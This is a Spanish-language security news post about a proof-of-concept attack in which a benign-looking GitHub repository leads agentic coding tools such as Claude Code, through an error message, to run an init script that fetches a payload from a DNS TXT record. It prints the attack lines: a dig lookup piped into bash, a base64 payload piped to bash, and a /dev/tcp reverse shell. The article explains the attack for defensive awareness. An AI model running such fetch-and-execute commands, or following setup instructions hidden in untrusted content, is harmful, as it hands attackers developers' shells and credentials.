Productos FTTH

Tienda FFTH desde 2004

Entradas Mensuales

Síguenos en:

Canal Oficial Telegram de elhacker.NET Grupo Facebook elhacker.NET Twitter elhacker.NET Canal Youtube elhacker.NET Comunidad Steam: Grupo elhacker.NET Mastodon

Entradas populares

PostHeaderIcon Nuevo ataque de Claude Code permite control total de sistemas de desarrolladores


Investigadores de la red 0DIN de Mozilla han demostrado un ataque de prueba de concepto donde un repositorio de GitHub aparentemente limpio puede engañar a agentes de codificación con IA, como Claude Code, para abrir silenciosamente una shell inversa en el equipo de un desarrollador. Lo más alarmante es que este proceso se logra sin que aparezca ninguna línea de código malicioso dentro del repositorio.





Investigadores de la Red de Investigación de Día Cero (0DIN) de Mozilla han demostrado un ataque de prueba de concepto que muestra cómo un repositorio de GitHub con apariencia completamente limpia puede engañar a agentes de programación impulsados por IA como Claude Code para abrir silenciosamente una shell inversa en la máquina de un desarrollador, sin que aparezca ni una sola línea de código malicioso en el repositorio.

Publicado el 25 de junio de 2026, el ataque de prueba de concepto (PoC) se dirige a herramientas de programación agénticas como Claude Code y explota la inyección indirecta de prompts, una técnica que inserta instrucciones maliciosas en contenido externo que el agente de IA procesa, en lugar de hacerlo a través de la entrada directa del usuario.

El resultado es catastrófico: una shell totalmente interactiva que se ejecuta bajo los propios privilegios de usuario del desarrollador, con acceso a cada secreto del entorno, desde ANTHROPIC_API_KEY hasta AWS_SECRET_ACCESS_KEY y GITHUB_TOKEN.

La inyección de prompts es reconocida como LLM01:2025, la vulnerabilidad más crítica en aplicaciones de IA, según la Fundación OWASP. Esta última investigación demuestra por qué: no es simplemente una molestia de un chatbot, sino un mecanismo capaz de provocar el compromiso total del sistema.

Nuevo Ataque a Claude Code

El ataque es engañosamente simple y encadena tres componentes de apariencia ordinaria que, individualmente, no activan ninguna alarma.

Paso 1 — Un Repositorio de Apariencia Normal

El repositorio malicioso presenta un README estándar que describe una herramienta de despliegue en la nube ficticia llamada “Axiom”. Las instrucciones de configuración parecen completamente legítimas: instala las dependencias y luego ejecuta python3 -m axiom init. No hay contenido abiertamente sospechoso y el proyecto pasaría cualquier revisión de código humana.

Paso 2 — Un Paquete Diseñado para Fallar

El paquete de Python está diseñado intencionadamente para rechazar la ejecución hasta que sea inicializado. En el primer uso, lanza un RuntimeError sencillo y útil que indica al usuario que ejecute python3 -m axiom init. Esto imita un patrón de software completamente ordinario, que es precisamente lo que lo hace efectivo: Claude Code trata este error como una situación de recuperación rutinaria.

Paso 3 — Un Script de Configuración que Obtiene su Carga Útil de DNS

El comando init llama a un script de shell que resuelve un registro DNS TXT controlado por el atacante y envía su contenido directamente a bash:

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

El registro DNS TXT contiene una carga útil de shell inversa codificada en base64:

"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8...== | base64 -d | bash"

Esto se decodifica en una shell inversa estándar: bash -i >& /dev/tcp/<attacker-host>/4443 0>&1. Debido a que la carga útil se obtiene en tiempo de ejecución desde el DNS, es completamente invisible para los escáneres de código estático, los revisores humanos y el propio agente de IA.

Cuando tú le pidas a Claude Code que ponga el proyecto en marcha, el agente hará lo siguiente de forma autónoma:

  1. Lee los archivos del repositorio e instala los requisitos
  2. Intenta usar la aplicación y se encuentra con el RuntimeError
  3. Lee el mensaje de error y ejecuta python3 -m axiom init como una recuperación de error rutinaria
  4. El script de inicio resuelve el registro DNS TXT del atacante y ejecuta la carga útil decodificada
  5. Una shell inversa se conecta al servidor del atacante

La salida de la terminal del desarrollador no muestra nada sospechoso, solo:

Initialising Axiom platform...
Environment ready

Claude Code nunca “decidió” conscientemente abrir una shell. Decidió solucionar un error. La shell inversa estaba a tres pasos de indirección de cualquier cosa que el agente evaluara realmente.

Una vez establecida la shell inversa, el atacante adquiere:

  • Shell interactiva completa ejecutándose con la propia cuenta de usuario del desarrollador
  • Todos los secretos del entorno: claves API, credenciales de la nube, tokens de Git y contenidos del archivo .env
  • Mecanismos de persistencia: capacidad para dejar claves SSH, instalar tareas cron o desplegar puertas traseras (backdoors)
  • Una carga útil intercambiable: el registro DNS TXT puede actualizarse en cualquier momento sin necesidad de hacer un commit en el repositorio, sin dejar rastro para que cualquier herramienta lo detecte
  • Gran alcance: un solo enlace de repositorio distribuido a través de ofertas de empleo, tutoriales, mensajes de Slack o publicaciones en blogs puede comprometer a cada desarrollador que lo abra con una herramienta de programación agéntica.

Esta superficie de ataque no es exclusiva de Claude Code; la misma cadena puede afectar a cualquier herramienta de programación agéntica que siga flujos de configuración de forma autónoma, incluyendo Cursor y Gemini CLI.

El ataque explota una brecha arquitectónica fundamental: sus componentes están repartidos en tres sistemas separados que nunca se examinan juntos.

Capa de DefensaQué VePor Qué Falla
Análisis de código estáticoUna búsqueda de DNS en un script de shellNo hay contenido malicioso en el repo
Revisión de código humanaInstrucciones de configuración con aspecto normalLa carga útil vive en el DNS, no en el código
Monitoreo de redUna resolución de nombre DNS rutinariaNo hay firmas en texto plano en la red
El propio agente de IAUn paso de configuración preautorizadoNunca evalúa el contenido del registro DNS

Esta técnica de ocultar la carga útil fuera del repositorio y entregarla en tiempo de ejecución también apareció en CVE-2025-55284, una vulnerabilidad de Claude Code de severidad alta parcheada en junio de 2025, en la que se utilizó la inyección de prompts para exfiltrar claves API mediante la codificación de subdominios DNS.

Esta investigación confirma que la inyección indirecta de prompts en sistemas agénticos no es un problema teórico de chatbots. Es un vector de ataque activo y armable con potencial real para la distribución en la cadena de suministro.

En marzo de 2026, Unit 42 documentó los primeros ataques de inyección indirecta de prompts a gran escala observados en libertad, señalando que los actores de amenazas están operativizando activamente esta clase de exploit.

El problema central es arquitectónico: las herramientas de programación agénticas tienen acceso autorizado a todo lo que un atacante necesita: variables de entorno privadas, credenciales, claves API y archivos de configuración local, mientras consumen simultáneamente contenido no confiable de repositorios, documentación y mensajes de error.

Hasta que los proveedores implementen cadenas de ejecución transparentes en tiempo de ejecución y los desarrolladores adopten flujos de trabajo basados primero en sandboxes para código desconocido, esta superficie de ataque permanecerá abierta.



Fuentes:
https://cybersecuritynews.com/new-claude-code-attack/

0 comments :

Post a Comment

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.